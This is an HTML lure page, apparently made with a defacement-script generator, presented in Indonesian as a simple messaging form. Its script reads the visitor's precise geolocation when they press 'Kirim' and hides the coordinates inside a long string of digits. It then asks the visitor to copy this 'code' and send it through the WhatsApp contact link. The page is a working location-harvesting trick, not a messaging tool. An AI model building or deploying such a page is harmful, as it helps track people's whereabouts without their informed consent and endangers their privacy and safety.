<!--
--  Uploaded on : https://haxor.my.id/open/Mymaps.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Geisha</title>
    <style type="text/css" media="all">
      body {
        background-color: black;
      }
      .container {
        background-color: white;
        text-align: center;
        outline: none;
        border: none;
        border-radius: 10px 100px / 120px 100px;
        margin: 150px auto;
      }
      #nama {
        outline: none;
        width: 150px;
        height: 50px;
        text-align: center;
        border: none;
        
        border-radius: 50px;
        
      }
      #kun {
        text-align: center;
        outline: none;
        border: none;
        border-radius:50px ;
      }
      #tom {
        text-align: center;
        border-radius:10px 100px / 120px 100px;
        background-color: black;
        color: white;
        font-family: Times New Roman;
        width: 100px;
        height: 50px;
        margin-bottom: 10px;
        border: none;
        outline: none;
      }
      a {
        color:red;
        text-decoration: none;
      }
      
    </style>
    
  </head>
  <body>
    <div class="container">
      <input type="text" name="nama" id="nama" placeholder="Masukkan nama Anda"  />
      <textarea name="kun" id=kun rows="8" cols="40" placeholder="Izinkan semua Notifikasi untuk memunculkan pesan"></textarea>
      <button type="button" id="tom" name="tom" ><a href="https://api.whatsapp.com/send?phone=6285877161330&text=Assalamualaikum">Contact</a></button>
      <input type="button" name="tom" id="tom" value="Kirim" />
    </div>
    
    
    
  </body>
  <script  type="text/javascript" charset="utf-8">
  const nama = document.getElementById('nama');
  const kun = document.getElementById('kun');
  const tom = document.getElementById('tom');
  const tm = document.getElementById('hi');
  
  
  
  function suc(suc) {
    console.log(suc);
    const c1 = suc.coords.latitude
    const c2 = suc.coords.longitude
    const c3 = c1 + "_" + c2;
    
    kun.innerHTML = "salin kode ini: " + nama.value + c1 + "_" + c2 + "_101000110001001100010173882777010101000101100010011010000110000100010010108776689010101001001991009388777990988876667899003781998";
    
    
  };
  function ero(ero) {
    console.log(ero);
    console.log("telah terjadi error");
    
  };
  
  tom.addEventListener('click' ,function main() {
 console.log(nama.value);
  if (navigator.geolocation) {
    console.log("berhasil");
    navigator.geolocation.getCurrentPosition(suc,ero);
    
  } else {
    console.log("terjadi sesuatu");
  }
  });
  

    
  </script>
</html>